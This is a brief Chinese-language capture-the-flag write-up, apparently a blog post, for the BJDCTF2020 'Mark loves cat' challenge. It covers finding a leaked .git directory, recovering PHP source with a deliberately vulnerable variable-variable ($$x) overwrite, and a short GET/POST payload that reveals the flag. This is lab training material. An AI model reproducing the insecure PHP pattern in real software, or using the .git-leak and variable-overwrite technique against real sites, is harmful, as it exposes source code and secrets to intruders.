[BJDCTF2020]Mark loves cat 1
1.发现
1.1使用dirsearch扫一下,发现存在.git泄露。

1.2使用Git Hack扒下flag.php,index.php,开始审计代码。

#flag.php将内容赋值给flag。
<?php include 'flag.php'; #包含flag.php文件 $yds = "dog"; $is = "cat"; $handsome = 'yds'; #定义三个变量 foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;
2.步骤
2.1阅读源代码,发现有变量覆盖,写出payload,得到flag。
?yds=flag
post: $flag=flag

3.借鉴
[BJDCTF2020]Mark loves cat - GTX690M - 博客园 (cnblogs.com)
https://www.zhihu.com/question/21083498
4.知识点
.git泄露
变量覆盖漏洞

浙公网安备 33010602011771号